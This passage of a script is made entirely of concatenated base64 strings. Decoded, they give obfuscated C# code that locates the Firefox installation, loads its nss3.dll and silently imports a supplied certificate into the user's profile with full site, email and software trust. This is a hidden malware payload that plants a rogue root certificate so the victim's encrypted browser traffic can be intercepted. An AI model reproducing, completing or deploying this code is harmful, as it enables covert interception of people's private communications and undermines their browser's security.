- "ICAgcHVibGljIHVpbnQgaURhdGFMZW47CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQog"+
- "ICAgcHJpdmF0ZSBzdHJ1Y3QgQ2VydFRydXN0cwogICAgewogICAgICAgIHB1YmxpYyBpbnQgaVNpdGU7CiAgICAgICAgcHVibGlj"+
- "IGludCBpRW1haWw7CiAgICAgICAgcHVibGljIGludCBpU29mdDsKICAgIH0KCiAgICBwcml2YXRlIGVudW0gU0VDQ2VydFVzYWdl"+
- "CiAgICB7CiAgICAgICAgY2VydFVzYWdlU1NMQ2xpZW50ID0gMCwKICAgICAgICBjZXJ0VXNhZ2VTU0xTZXJ2ZXIgPSAxLAogICAg"+
- "ICAgIGNlcnRVc2FnZVNTTFNlcnZlcldpdGhTdGVwVXAgPSAyLAogICAgICAgIGNlcnRVc2FnZVNTTENBID0gMywKICAgICAgICBj"+
- "ZXJ0VXNhZ2VFbWFpbFNpZ25lciA9IDQsCiAgICAgICAgY2VydFVzYWdlRW1haWxSZWNpcGllbnQgPSA1LAogICAgICAgIGNlcnRV"+
- "c2FnZU9iamVjdFNpZ25lciA9IDYsCiAgICAgICAgY2VydFVzYWdlVXNlckNlcnRJbXBvcnQgPSA3LAogICAgICAgIGNlcnRVc2Fn"+
- "ZVZlcmlmeUNBID0gOCwKICAgICAgICBjZXJ0VXNhZ2VQcm90ZWN0ZWRPYmplY3RTaWduZXIgPSA5LAogICAgICAgIGNlcnRVc2Fn"+
- "ZVN0YXR1c1Jlc3BvbmRlciA9IDEwLAogICAgICAgIGNlcnRVc2FnZUFueUNBID0gMTEKICAgIH0KCVtVbm1hbmFnZWRGdW5jdGlv"+
- "blBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBpbnQgSUlzWXRveVhndmFjekso"+
- "c3RyaW5nIHNDb25maWdEaXIsIHN0cmluZyBjZXJ0UHJlZml4LCBzdHJpbmcga2V5UHJlZml4LCBzdHJpbmcgc2VjTW9kTmFtZSwg"+
- "dWludCBmbGFncyk7CgogICAgcHJpdmF0ZSBpbnQgVFBPKHN0cmluZyBzQ29uZmlnRGlyLCBzdHJpbmcgY2VydFByZWZpeCwgc3Ry"+
- "aW5nIGtleVByZWZpeCwgc3RyaW5nIHNlY01vZE5hbWUsIHVpbnQgZmxhZ3MpCiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0g"+
- "R2V0UHJvY0FkZHJlc3ModWxoRVdwaHYsICJOU1NfSW5pdGlhbGl6ZSIpOwogICAgICAgIElJc1l0b3lYZ3ZhY3pLIHB0ciA9IChJ"+
- "SXNZdG95WGd2YWN6SylNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YoSUlzWXRveVhn"+
- "dmFjekspKTsKICAgICAgICByZXR1cm4gcHRyKHNDb25maWdEaXIsIGNlcnRQcmVmaXgsIGtleVByZWZpeCwgc2VjTW9kTmFtZSwg"+
- "ZmxhZ3MpOwogICAgfQoKICAgIFtVbm1hbmFnZWRGdW5jdGlvblBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAg"+
- "cHJpdmF0ZSBkZWxlZ2F0ZSBJbnRQdHIgUWNYUnRqcGJyaigpOwogICAgcHJpdmF0ZSBJbnRQdHIgY2ZKaWtweCgpCiAgICB7CiAg"+
- "ICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3ModWxoRVdwaHYsICJDRVJUX0dldERlZmF1bHRDZXJ0REIiKTsKICAg"+
- "ICAgICBRY1hSdGpwYnJqIHB0ciA9IChRY1hSdGpwYnJqKU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIocFBy"+
- "b2MsIHR5cGVvZihRY1hSdGpwYnJqKSk7CiAgICAgICAgcmV0dXJuIHB0cigpOwogICAgfQoKICAgIFtVbm1hbmFnZWRGdW5jdGlv"+
- "blBvaW50ZXIoQ2FsbGluZ0NvbnZlbnRpb24uQ2RlY2wpXQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBJbnRQdHIgTnRQaElNWCgpOwog"+
- "ICAgcHJpdmF0ZSBJbnRQdHIgQ3NmTmZvYWtoYU0oKQogICAgewogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NBZGRyZXNz"+
- "KHVsaEVXcGh2LCAiTlNTX1NodXRkb3duIik7CiAgICAgICAgTnRQaElNWCBwdHIgPSAoTnRQaElNWClNYXJzaGFsLkdldERlbGVn"+
- "YXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YoTnRQaElNWCkpOwogICAgICAgIHJldHVybiBwdHIoKTsKICAgIH0K"+
- "CiAgICBbVW5tYW5hZ2VkRnVuY3Rpb25Qb2ludGVyKENhbGxpbmdDb252ZW50aW9uLkNkZWNsKV0KICAgIHByaXZhdGUgZGVsZWdh"+
- "dGUgaW50IFRkVnV2bWpiQVllYmVGKEludFB0ciBjZXJ0ZGIsIGludCB1c2FnZSwgdWludCBuY2VydHMsIHJlZiBTRUNJdGVtW10g"+
- "ZGVyQ2VydHMsIHJlZiBJbnRQdHIgcmV0Q2VydHMsIHVpbnQga2VlcENlcnRzLCB1aW50IGNhT25seSwgSW50UHRyIG5pY2tuYW1l"+
- "KTsKICAgIHByaXZhdGUgaW50IGZUZFMoSW50UHRyIGNlcnRkYiwgaW50IHVzYWdlLCB1aW50IG5jZXJ0cywgcmVmIFNFQ0l0ZW1b"+
- "XSBkZXJDZXJ0cywgcmVmIEludFB0ciByZXRDZXJ0cywgdWludCBrZWVwQ2VydHMsIHVpbnQgY2FPbmx5LCBJbnRQdHIgbmlja25h"+
- "bWUpCiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3ModWxoRVdwaHYsICJDRVJUX0ltcG9ydENlcnRz"+
- "Iik7CiAgICAgICAgVGRWdXZtamJBWWViZUYgcHRyID0gKFRkVnV2bWpiQVllYmVGKU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5j"+
- "dGlvblBvaW50ZXIocFByb2MsIHR5cGVvZihUZFZ1dm1qYkFZZWJlRikpOwogICAgICAgIHJldHVybiBwdHIoY2VydGRiLCB1c2Fn"+
- "ZSwgbmNlcnRzLCByZWYgZGVyQ2VydHMsIHJlZiByZXRDZXJ0cywga2VlcENlcnRzLCBjYU9ubHksIG5pY2tuYW1lKTsKICAgIH0K"+
- "CiAgICBwcml2YXRlIGRlbGVnYXRlIGludCBNeW52TShJbnRQdHIgY2VydGRiLCBJbnRQdHIgY2VydCwgcmVmIENlcnRUcnVzdHMg"+
- "dHJ1c3QpOwogICAgcHJpdmF0ZSBpbnQga0p1R0ZLTm5YSU4oSW50UHRyIGNlcnRkYiwgSW50UHRyIGNlcnQsIHJlZiBDZXJ0VHJ1"+
- "c3RzIHRydXN0KQogICAgewogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NBZGRyZXNzKHVsaEVXcGh2LCAiQ0VSVF9DaGFu"+
- "Z2VDZXJ0VHJ1c3QiKTsKICAgICAgICBNeW52TSBwdHIgPSAoTXludk0pTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9p"+
- "bnRlcihwUHJvYywgdHlwZW9mKE15bnZNKSk7CiAgICAgICAgcmV0dXJuIHB0cihjZXJ0ZGIsIGNlcnQsIHJlZiB0cnVzdCk7CiAg"+
- "ICB9CgogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCldCiAgICBwdWJsaWMgZGVs"+
- "ZWdhdGUgaW50IHNXeU9ReWRSVURPUyhJbnRQdHIgY2VydCwgdWludCBuY2VydHMpOwogICAgcHJpdmF0ZSBpbnQgUERESWhVRWdY"+
- "dHRXYihJbnRQdHIgY2VydCwgdWludCBuY2VydHMpCiAgICB7CiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3Mo"+
- "dWxoRVdwaHYsICJDRVJUX0Rlc3Ryb3lDZXJ0QXJyYXkiKTsKICAgICAgICBzV3lPUXlkUlVET1MgcHRyID0gKHNXeU9ReWRSVURP"+
- "UylNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2Yoc1d5T1F5ZFJVRE9TKSk7CiAgICAg"+
- "ICAgcmV0dXJuIHB0cihjZXJ0LCBuY2VydHMpOwogICAgfQoKCXByaXZhdGUgSW50UHRyIHVsaEVXcGh2ID0gSW50UHRyLlplcm87"+
- "CgoJcHVibGljIEJvb2xlYW4gekttdE9pS1plR3ooU3RyaW5nIHNDZXJ0KXsKICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxp"+
- "bmUoU3RyaW5nLkZvcm1hdCgiV1ZYS1RZQnZxUyBTdGFydC4gUHJvY2VzcyB7MH0tYml0IixJbnRQdHIuU2l6ZSAqIDgpKTsKCQlT"+
- "dHJpbmcgc1Byb2ZpbGUgPSBHZXRQcm9maWxlKCk7CiAgICAgICAgaWYgKFN0cmluZy5Jc051bGxPckVtcHR5KHNQcm9maWxlKSkK"+
- "ICAgICAgICB7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUHJvZmlsZSBub3QgZm91bmQiKTsKICAgICAg"+
- "ICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIlByb2ZpbGUgcGF0"+
- "aD0iK3NQcm9maWxlKTsKICAgICAgICBieXRlW10gYkNlcnQgPSBHZXRDZXJ0QXNCeXRlQXJyYXkoc0NlcnQpOwogICAgICAgIElu"+
- "dFB0ciBpcENlcnQgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbChiQ2VydC5MZW5ndGgpOwogICAgICAgIFN5c3RlbS5Db25zb2xlLldy"+
- "aXRlTGluZSgiVW5wYWNrIGNlcnQgT0siKTsKCQl0cnkKICAgICAgICB7CiAgICAgICAgICAgIERpcmVjdG9yeUluZm8gZGlJbnN0"+
- "YWxsUGF0aCA9IEdldElQKCk7CiAgICAgICAgICAgIGlmIChkaUluc3RhbGxQYXRoID09IG51bGwpCiAgICAgICAgICAgIHsKICAg"+
- "ICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiZGlJbnN0YWxsUGF0aCBpcyBudWxsIik7CiAgICAgICAgICAg"+
- "ICAgICBTdHJpbmcgZmZleGUgPSBAIkM6XFByb2dyYW0gRmlsZXNcTW96aWxsYSBGaXJlZm94XGZpcmVmb3guZXhlIjsKICAgICAg"+
- "ICAgICAgICAgIGlmIChGaWxlLkV4aXN0cyhmZmV4ZSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgZGlJ"+
- "bnN0YWxsUGF0aCA9IG5ldyBEaXJlY3RvcnlJbmZvKFBhdGguR2V0RGlyZWN0b3J5TmFtZShmZmV4ZSkpOwogICAgICAgICAgICAg"+
- "ICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUGF0aCBmb3VuZDogIitQYXRoLkdldERpcmVjdG9yeU5hbWUoZmZleGUp"+
- "KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAg"+
- "ICAgICBmZmV4ZSA9IEAiQzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNb3ppbGxhIEZpcmVmb3hcZmlyZWZveC5leGUiOwogICAgICAg"+
- "ICAgICAgICAgICAgIGlmIChGaWxlLkV4aXN0cyhmZmV4ZSkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAg"+
- "ICAgICAgICBkaUluc3RhbGxQYXRoID0gbmV3IERpcmVjdG9yeUluZm8oUGF0aC5HZXREaXJlY3RvcnlOYW1lKGZmZXhlKSk7CiAg"+
- "ICAgICAgICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiUGF0aCBmb3VuZDogIitQYXRoLkdldERpcmVj"+
- "dG9yeU5hbWUoZmZleGUpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAg"+
- "ICAgICAgICAgU3RyaW5nIHNDdXJyZW50RGlyZWN0b3J5ID0gRGlyZWN0b3J5LkdldEN1cnJlbnREaXJlY3RvcnkoKTsKICAgICAg"+
- "ICAgICAgRGlyZWN0b3J5LlNldEN1cnJlbnREaXJlY3RvcnkoZGlJbnN0YWxsUGF0aC5GdWxsTmFtZSk7CiAgICAgICAgICAgIFN5"+
- "c3RlbS5Db25zb2xlLldyaXRlTGluZSgiSW5zdGFsbCBwYXRoPSIrZGlJbnN0YWxsUGF0aC5GdWxsTmFtZSk7CiAgICAgICAgICAg"+
- "IGZvcmVhY2goRmlsZUluZm8gZmlEbGwgaW4gZGlJbnN0YWxsUGF0aC5HZXRGaWxlcygiKi5kbGwiKSkKICAgICAgICAgICAgewog"+
- "ICAgICAgICAgICAgICAgaWYgKGZpRGxsLk5hbWUuRXF1YWxzKCJicmVha3BhZGluamVjdG9yLmRsbCIpKSBjb250aW51ZTsKICAg"+
- "ICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBjZ2ZKYXRMUk5OVk9DKGZpRGxsLkZ1bGxOYW1lKTsKICAgICAg"+
- "ICAgICAgICAgIH1jYXRjaCAoRXhjZXB0aW9uIGV4KXsKICAgICAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxp"+
- "bmUoU3RyaW5nLkZvcm1hdCgiezB9IHsxfSB7Mn0iLCBleC5Tb3VyY2UsIGV4Lk1lc3NhZ2UsIGV4LlN0YWNrVHJhY2UpKTsKICAg"+
- "ICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICB1bGhFV3BodiA9IGNnZkphdExSTk5WT0MoZGlJbnN0YWxs"+
- "UGF0aC5GdWxsTmFtZSArICJcXG5zczMuZGxsIik7CiAgICAgICAgICAgIGlmICh1bGhFV3Bodi5FcXVhbHMoSW50UHRyLlplcm8p"+
- "KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkZpcmVmb3ggaW5zdGFsbCBk"+
- "aXJlY3Rvcnkgbm90IGZvdW5kIik7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAg"+
- "ICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJJbml0IGRsbHMgT0siKTsKICAgICAgICAgICAgRGlyZWN0b3J5LlNldEN1cnJl"+
- "bnREaXJlY3Rvcnkoc0N1cnJlbnREaXJlY3RvcnkpOwogICAgICAgICAgICAvL0luaXQgY2VydAogICAgICAgICAgICBNYXJzaGFs"+
- "LkNvcHkoYkNlcnQsIDAsIGlwQ2VydCwgYkNlcnQuTGVuZ3RoKTsKICAgICAgICAgICAgU0VDSXRlbSBDZXJ0SXRlbSA9IG5ldyBT"+
- "RUNJdGVtKCk7CiAgICAgICAgICAgIENlcnRJdGVtLmlUeXBlID0gMzsKICAgICAgICAgICAgQ2VydEl0ZW0uYkRhdGEgPSBpcENl"+
- "cnQ7CiAgICAgICAgICAgIENlcnRJdGVtLmlEYXRhTGVuID0gKHVpbnQpYkNlcnQuTGVuZ3RoOwogICAgICAgICAgICBTRUNJdGVt"+
- "W10gYUNlcnRJdGVtID0gbmV3IFNFQ0l0ZW1bMV07CiAgICAgICAgICAgIGFDZXJ0SXRlbVswXSA9IENlcnRJdGVtOwoKICAgICAg"+
- "ICAgICAgQ2VydFRydXN0cyBDZXJ0VHJ1c3QgPSBuZXcgQ2VydFRydXN0cygpOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaVNpdGUg"+
- "PSAweDEwOwogICAgICAgICAgICBDZXJ0VHJ1c3QuaUVtYWlsID0gMHgxMDsKICAgICAgICAgICAgQ2VydFRydXN0LmlTb2Z0ID0g"+
- "MHgxMDsKICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJJbml0IGNlcnQgT0siKTsKICAgICAgICAgICAgLy9F"+
- "bmQgaW5pdCBjZXJ0CiAgICAgICAgICAgIGludCBzdGF0dXMgPSBUUE8oInNxbDoiK3NQcm9maWxlLCAiIiwgIiIsIFNFQ01PRF9E"+
- "QiwgTlNTX0lOSVRfT1BUSU1JWkVTUEFDRSk7CiAgICAgICAgICAgIGlmIChzdGF0dXMgIT0gem90RGV6KQogICAgICAgICAgICB7"+
- "CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiTlNTX0luaXRSZWFkV3JpdGUg"+
- "RVJST1IuIFN0YXR1czogMHh7MDpYfTtMYXN0IGVycm9yOiAweHswOlh9Iiwgc3RhdHVzLCBNYXJzaGFsLkdldExhc3RXaW4zMkVy"+
- "cm9yKCkpKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBJbnRQdHIgYmQg"+
- "PSBjZkppa3B4KCk7CiAgICAgICAgICAgIGlmIChiZCA9PSBJbnRQdHIuWmVybykKICAgICAgICAgICAgewogICAgICAgICAgICAg"+
- "ICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0dldERlZmF1bHRDZXJ0REIgRmFpbGVkIik7CiAgICAgICAgICAgICAg"+
- "ICBDc2ZOZm9ha2hhTSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIFN5"+
- "c3RlbS5Db25zb2xlLldyaXRlTGluZSgiQ0VSVF9HZXREZWZhdWx0Q2VydERCIE9LIik7CiAgICAgICAgICAgIEludFB0ciBDZXJ0"+
- "VG9JbXBvcnQgPSBuZXcgSW50UHRyKCk7CiAgICAgICAgICAgIEludFB0cltdIGFDZXJ0VG9JbXBvcnQgPSBuZXcgSW50UHRyWzFd"+
- "OwogICAgICAgICAgICBzdGF0dXMgPSBmVGRTKGJkLCAxMSwgMSwgcmVmIGFDZXJ0SXRlbSwgcmVmIENlcnRUb0ltcG9ydCwgMSwg"+
- "MCwgSW50UHRyLlplcm8pOwogICAgICAgICAgICBpZiAoc3RhdHVzICE9IHpvdERleikKICAgICAgICAgICAgewogICAgICAgICAg"+
- "ICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoIkNFUlRfSW1wb3J0Q2VydHMgRVJST1IuIFN0YXR1"+
- "czogMHh7MDpYfTtMYXN0IGVycm9yOiAweHswOlh9Iiwgc3RhdHVzLCBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCkpKTsKICAg"+
- "ICAgICAgICAgICAgIENzZk5mb2FraGFNKCk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAg"+
- "ICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0ltcG9ydENlcnRzIE9LIik7CiAgICAgICAgICAgIE1hcnNo"+
- "YWwuQ29weShDZXJ0VG9JbXBvcnQsIGFDZXJ0VG9JbXBvcnQsIDAsIDEpOwogICAgICAgICAgICBzdGF0dXMgPSBrSnVHRktOblhJ"+
- "TihiZCwgYUNlcnRUb0ltcG9ydFswXSwgcmVmIENlcnRUcnVzdCk7CiAgICAgICAgICAgIGlmICggc3RhdHVzICE9IHpvdERleikg"+
- "CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJDRVJU"+
- "X0NoYW5nZUNlcnRUcnVzdCBFUlJPUi4gU3RhdHVzOiAweHswOlh9O0xhc3QgZXJyb3I6IDB4ezA6WH0iLCBzdGF0dXMsIE1hcnNo"+
- "YWwuR2V0TGFzdFdpbjMyRXJyb3IoKSkpOwogICAgICAgICAgICAgICAgQ3NmTmZvYWtoYU0oKTsKICAgICAgICAgICAgICAgIHJl"+
- "dHVybiBmYWxzZTsKICAgICAgICAgICAgfTsKICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJDRVJUX0NoYW5n"+
- "ZUNlcnRUcnVzdCBPSyIpOwogICAgICAgICAgICBQRERJaFVFZ1h0dFdiKENlcnRUb0ltcG9ydCwgMSk7CiAgICAgICAgICAgIFN5"+
- "c3RlbS5Db25zb2xlLldyaXRlTGluZSgiQWRkIGNlcnQgT0siKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBl"+
- "eCl7CiAgICAgICAgICAgIFN5c3RlbS5Db25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCJ7MH0gezF9IHsyfSIsIGV4LlNv"+
- "dXJjZSwgZXguTWVzc2FnZSwgZXguU3RhY2tUcmFjZSkpOwogICAgICAgIH0KICAgICAgICBmaW5hbGx5CiAgICAgICAgewogICAg"+
- "ICAgICAgICBDc2ZOZm9ha2hhTSgpOwogICAgICAgIH0KCQlyZXR1cm4gdHJ1ZTsKCX0KCXByaXZhdGUgU3RyaW5nIEdldFByb2Zp"+
- "bGUoKQogICAgewogICAgICAgIFN0cmluZyBGRlByb2ZpbGUgPSBQYXRoLkNvbWJpbmUoRW52aXJvbm1lbnQuR2V0RW52aXJvbm1l"+
- "bnRWYXJpYWJsZSgiQVBQREFUQSIpLCBAIk1vemlsbGFcRmlyZWZveFxQcm9maWxlcyIpOwogICAgICAgIGlmIChEaXJlY3Rvcnku"+
- "RXhpc3RzKEZGUHJvZmlsZSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKEZGUHJv"+
- "ZmlsZSwgIiouZGVmYXVsdCIpLkxlbmd0aCA+IDApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHJldHVybiBEaXJlY3Rv"+
- "cnkuR2V0RGlyZWN0b3JpZXMoRkZQcm9maWxlLCAiKi5kZWZhdWx0IilbMF07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAg"+
- "ICAgcmV0dXJuICIiOwogICAgfQoJcHVibGljIGJ5dGVbXSBHZXRDZXJ0QXNCeXRlQXJyYXkoU3RyaW5nIHNDZXJ0KQogICAgewog"+
- "ICAgICAgIHRyeQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuIENvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhzQ2VydCk7CiAg"+
- "ICAgICAgfQogICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpewogICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUo"+
- "U3RyaW5nLkZvcm1hdCgiezB9IHsxfSB7Mn0iLCBleC5Tb3VyY2UsIGV4Lk1lc3NhZ2UsIGV4LlN0YWNrVHJhY2UpKTsKICAgICAg"+
- "ICB9CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9Cglwcml2YXRlIERpcmVjdG9yeUluZm8gR2V0SVAoKQogICAgewogICAgICAg"+
- "IERpcmVjdG9yeUluZm8gZnAgPSBudWxsOwogICAgICAgIC8vIGdldCBmaXJlZm94IHBhdGggZnJvbSByZWdpc3RyeQogICAgICAg"+
- "IC8vIHdlJ2xsIHNlYXJjaCB0aGUgMzJiaXQgaW5zdGFsbCBsb2NhdGlvbgogICAgICAgIFJlZ2lzdHJ5S2V5IGxvY2FsTWFjaGlu"+
- "ZTEgPSBSZWdpc3RyeS5Mb2NhbE1hY2hpbmUuT3BlblN1YktleShAIlNPRlRXQVJFXE1vemlsbGFcTW96aWxsYSBGaXJlZm94Iiwg"+
- "ZmFsc2UpOwogICAgICAgIC8vIGFuZCBsZXRzIHRyeSB0aGUgNjRiaXQgaW5zdGFsbCBsb2NhdGlvbiBqdXN0IGluIGNhc2UKICAg"+
- "ICAgICBSZWdpc3RyeUtleSBsb2NhbE1hY2hpbmUyID0gUmVnaXN0cnkuTG9jYWxNYWNoaW5lLk9wZW5TdWJLZXkoQCJTT0ZUV0FS"+
- "RVxXb3c2NDMyTm9kZVxNb3ppbGxhXE1vemlsbGEgRmlyZWZveCIsIGZhbHNlKTsKCiAgICAgICAgaWYgKGxvY2FsTWFjaGluZTEg"+
- "IT0gbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmdbXSBp"+
- "bnN0YWxsZWRWZXJzaW9ucyA9IGxvY2FsTWFjaGluZTEuR2V0U3ViS2V5TmFtZXMoKTsKICAgICAgICAgICAgICAgIC8vIHdlJ2xs"+
- "IHRha2UgdGhlIGZpcnN0IGluc3RhbGxlZCB2ZXJzaW9uLCBwZW9wbGUgbm9ybWFsbHkgb25seSBoYXZlIG9uZQogICAgICAgICAg"+
- "ICAgICAgaWYgKGluc3RhbGxlZFZlcnNpb25zLkxlbmd0aCA9PSAwKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBJbmRl"+
- "eE91dE9mUmFuZ2VFeGNlcHRpb24oIk5vIGluc3RhbGxzIG9mIGZpcmVmb3ggcmVjb3JkZWQgaW4gaXRzIGtleS4iKTsKCiAgICAg"+
- "ICAgICAgICAgICBSZWdpc3RyeUtleSBtYWluSW5zdGFsbCA9IGxvY2FsTWFjaGluZTEuT3BlblN1YktleShpbnN0YWxsZWRWZXJz"+
- "aW9uc1swXSk7CgogICAgICAgICAgICAgICAgLy8gZ2V0IGluc3RhbGwgZGlyZWN0b3J5CiAgICAgICAgICAgICAgICBzdHJpbmcg"+
- "aW5zdGFsbFN0cmluZyA9IChzdHJpbmcpbWFpbkluc3RhbGwuT3BlblN1YktleSgiTWFpbiIpLkdldFZhbHVlKCJJbnN0YWxsIERp"+
- "cmVjdG9yeSIsIG51bGwpOwoKICAgICAgICAgICAgICAgIGlmIChpbnN0YWxsU3RyaW5nID09IG51bGwpCiAgICAgICAgICAgICAg"+
- "ICAgICAgdGhyb3cgbmV3IE51bGxSZWZlcmVuY2VFeGNlcHRpb24oIkluc3RhbGwgc3RyaW5nIHdhcyBudWxsIik7CgogICAgICAg"+
- "ICAgICAgICAgZnAgPSBuZXcgRGlyZWN0b3J5SW5mbyhpbnN0YWxsU3RyaW5nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBj"+
- "YXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUo"+
- "U3RyaW5nLkZvcm1hdCgiezB9IHsxfSB7Mn0iLCBleC5Tb3VyY2UsIGV4Lk1lc3NhZ2UsIGV4LlN0YWNrVHJhY2UpKTsKICAgICAg"+
- "ICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlIGlmIChsb2NhbE1hY2hpbmUyICE9IG51bGwpCiAgICAgICAgewogICAgICAg"+
- "ICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nW10gaW5zdGFsbGVkVmVyc2lvbnMgPSBsb2NhbE1h"+
- "Y2hpbmUyLkdldFN1YktleU5hbWVzKCk7CiAgICAgICAgICAgICAgICAvLyB3ZSdsbCB0YWtlIHRoZSBmaXJzdCBpbnN0YWxsZWQg"+
- "dmVyc2lvbiwgcGVvcGxlIG5vcm1hbGx5IG9ubHkgaGF2ZSBvbmUKICAgICAgICAgICAgICAgIGlmIChpbnN0YWxsZWRWZXJzaW9u"+
- "cy5MZW5ndGggPT0gMCkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgSW5kZXhPdXRPZlJhbmdlRXhjZXB0aW9uKCJObyBp"+
- "bnN0YWxscyBvZiBmaXJlZm94IHJlY29yZGVkIGluIGl0cyBrZXkuIik7CgogICAgICAgICAgICAgICAgUmVnaXN0cnlLZXkgbWFp"+
- "bkluc3RhbGwgPSBsb2NhbE1hY2hpbmUyLk9wZW5TdWJLZXkoaW5zdGFsbGVkVmVyc2lvbnNbMF0pOwoKICAgICAgICAgICAgICAg"+
- "IC8vIGdldCBpbnN0YWxsIGRpcmVjdG9yeQogICAgICAgICAgICAgICAgc3RyaW5nIGluc3RhbGxTdHJpbmcgPSAoc3RyaW5nKW1h"+
- "aW5JbnN0YWxsLk9wZW5TdWJLZXkoIk1haW4iKS5HZXRWYWx1ZSgiSW5zdGFsbCBEaXJlY3RvcnkiLCBudWxsKTsKCiAgICAgICAg"+
- "ICAgICAgICBpZiAoaW5zdGFsbFN0cmluZyA9PSBudWxsKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBOdWxsUmVmZXJl"+
- "bmNlRXhjZXB0aW9uKCJJbnN0YWxsIHN0cmluZyB3YXMgbnVsbCIpOwogICAgICAgICAgICAgICAgZnAgPSBuZXcgRGlyZWN0b3J5"+
- "SW5mbyhpbnN0YWxsU3RyaW5nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAg"+
